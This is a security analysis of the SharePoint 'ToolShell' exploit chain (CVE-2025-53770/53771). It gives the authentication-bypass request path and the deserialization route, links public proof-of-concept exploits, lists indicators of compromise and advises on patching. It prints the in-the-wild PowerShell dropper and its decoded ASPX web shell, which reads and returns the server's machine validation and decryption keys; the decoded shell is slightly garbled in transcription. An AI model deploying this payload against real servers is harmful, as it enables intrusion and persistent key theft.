This is a set of two CVEs which affect On-Prem Microsoft SharePoint users. Both these CVEs are a rehash of 2 recent CVEs that were disclosed in May 2025 as a part of Pwn2Own Berlin by researchers and was supposedly patched by Microsoft in its Patch Tuesday update on 9th July 2025.
The original CVEs were reported by NVD as follows:
- CVE-2025-49704/53770: Improper control of generation of code (‘code injection’) in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
- CVE-2025-49706/53771: Improper authentication in Microsoft Office SharePoint allows an unauthorized attacker to perform spoofing over a network.
The attack that was created as a combination of the above two CVEs was dubbed “ToolShell Chain”; cybersecurity researchers tried re-testing the vulnerability post patch and were able to reproduce the same on patched servers on 14th July 2025. This led to a public version of the exploit, a.k.a. a Proof-of-Concept (POC) exploit being made available. As a result there was a surge of attacks noted first on 18th and then 19th July 2025. These attacks are currently being attributed to 2 major Chinese-based nation state actors named “Linen Typhoon” and “Violent Typhoon”. There is a third attacker as well which has been dubbed “Storm-2603”, however, their exploitation seems limited and geared towards acting as an Initial Access Broker and providing the compromised system to other attackers for further exploitation.
The security patch update was released by Microsoft on 21st July 2025 in the form of emergency updates, for the following SharePoint softwares:
- Microsoft SharePoint Server 2019
- Microsoft SharePoint Server 2016
- Microsoft SharePoint Subscription Edition
Older versions of SharePoint (2010 and 2013) are End-of-Support and as such will not be receiving updates or patches, however, these too are believed to be vulnerable. General advisory is to migrate to the latest version of SharePoint servers and apply the latest patches as available, additional steps must be taken to enable AMSI (Anti Malware Scan Interface) and rotate the server’s ASP.NET machine keys. Custom solutions provide coverage for post-exploitation activity.
Below we have an analysis of the 2 Proof-of-Concept exploits made publicly available:
POC Exploit 1: https://web.archive.org/web/20250724072206/https://github.com/kaizensecurity/CVE-2025-53770/blob/master/payload
POC Exploit 2: https://web.archive.org/web/20250724072321/https://github.com/soltanali0/CVE-2025-53770-Exploit/blob/main/exploit.py
(Note: WayBack Machine Archive links have been used to preserve the exploits as well as to avoid broken links in case the original is removed by the creators in the future.)
The payload provided in both these methods follows the exploitation of CVE-2025-49706/53771 first as it forms the delivery of the web shell. This is achieved by taking advantage of the improper authentication vulnerability; the attacker sends a request to the “ToolPane.aspx” file while setting the referrer header to “SignOut.aspx”. In the attacks made in-the-wild, the attacker further masquerades as a legitimate SharePoint control (AclEditor.ascx) and tricks it into allowing the WebPart edit. WebPart, an inbuilt functionality of SharePoint is taken advantage of here to embed a payload in the “CompressedDataTable” field which is set up to be de-serialized directly by SharePoint DWP Parser. This payload must be a GZIP-Base64 encoded string.
The payload itself can hold a “System.DelegateSerializationHolder” which will trigger a Deserialization RCE. Threat actors take advantage of this to pass “/c powershell -EncodedCommand <POWERSHELL-PAYLOAD>” in their payload to achieve RCE and grab the keys.
The “<POWERSHELL-PAYLOAD>” seen in the attacks in-the-wild have been as follows:
powershell -EncodedCommand JABiAGEAcwBlADYANABTAHQAcgBpAG4AZwAgAD0AIAAiAFAAQwBWAEEASQBFAGwAdABjAEcAOQB5AGQAQwBCAE8AWQBXADEAbABjADMAQgBoAFkAMgBVADkASQBsAE4ANQB (truncated)This lengthy string is encoded in base64 and further decoding leads us to the following:
$base64String = “PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==”$destinationFile = “C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx”$decodedBytes = [System.Convert]::FromBase64String($base64String)$decodedContent = [System.Text.Encoding]::UTF8.GetString($decodedBytes)$decodedContent | Set-Content -Path $destinationFile -ErrorAction StopThis again contains a Base64 Encoded string, as well as contains the file path for the attack (spinstall0.aspx) as “$destinationFile”. There are further instructions to decode the encoded string and execute the same towards the mentioned destination file.
Decoded the Base64 string above:
<%@ Import Namespace=”System.Diagnostics” %><%@ Import Namespace=”System.IO” %><script runatGetApplicationConfig=”server” language=”c#” CODEPAGE=”65001″> public void Page_load() { var sy = System.Reflection.Assembly.Load(“System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a”); var mkt = sy.GetType(“System.Web.Configuration.MachineKeySection”); var gac = mkt.GetMethod(“”, System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]); Response.Write(cg.ValidationKey+”|”+cg.Validation+”|”+cg.DecryptionKey+”|”+cg.Decryption+”|”+cg.CompatibilityMode); }</script>As highlighted in the above sections of code, the script launches an internal .NET method to read the SharePoint server’s MachineKey configuration including the ValidationKey. It then prints it out in return along with the DecryptionKey. These details are now sufficient for the attacker to generate a valid “_VIEWSTATE” payload and convert any authenticated SharePoint request into a RCE (Remote Code Execution) opportunity.
Conclusion
The significance of this attack is multifold, firstly due to the ease with which this vulnerability can target publicly exposed instances of SharePoint without using any compromised credentials, as well as that the simple yet effect RCE leads to the DecryptionKey being stolen by the attacker; this ensures that even if the latest patch is applied, the attacker preserves access as long as the key remains the same. Additionally, once the appropriate keys are obtained the attacker can craft any request to result in code execution. Hence the vulnerability is attributed a CVSSv3.0 score of 9.8 i.e. Critical severity.
Known Indicators of Compromise:
- IP Addresses:
- 107.191.58[.]76
- 104.238.159[.]149
- 96.9.125[.]147
- 45.77.155[.]170
- 45.191.66[.]77
- 34.72.225[.]196
- 34.121.207[.]116
- User-Agent Strings:
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57
- Paths:
- /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
- Referer: /_layouts/SignOut.aspx
- /_layouts/15/spinstall0.aspx
- C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx
- File Hash:
- 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514